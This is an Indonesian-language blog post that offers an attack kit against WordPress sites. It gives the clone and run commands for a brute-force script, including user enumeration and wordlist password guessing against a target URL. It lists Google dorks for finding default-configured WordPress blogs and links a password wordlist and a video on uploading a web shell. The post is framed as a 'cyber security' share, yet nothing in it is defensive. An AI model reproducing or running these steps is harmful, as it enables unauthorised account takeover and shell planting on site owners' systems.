Tools WP BruteForce + Wordlist + Dork

Halo sobat cyber security ! pada artikel ini saya akan membagikan tools Wordpress BruteForce + Wordlits + Dorknya Nih hehe. ok gausah banyak omong langsung aja to the point !

Tools :

git clone https://github.com/guelfoweb/wpbrute
chmod +x wpbrute.sh
./wpbrute.sh
Command For User Enumeration : ./wpbrute.sh --url=http://target.com
Command For BruteForce : ./wpbrute.sh --url=http://target.com --user=usernamenya --wordlist=wordlistnya.txt

Dork :
- inurl:/wp/ intext:"My Blog" intetxt:"Sample Page"
- inurl:/wp/2019 intext:"My Blog" intext:"Meta"
- inurl:/blog/ intext:"My Blog" intext:"Hello World!"
- intext:"© eduexpert theme" intext:"Hello World!"
Selebihnya Kembangkan lagi ya :)

Wordlist : https://pastebin.com/ZLmHQbPm
NB : Wordlist Kalian simpan dan taruh di folder wpbrute

Cara Upload Shell DI CMs Wordpress :

https://www.youtube.com/watch?v=wHC-XgUjsmA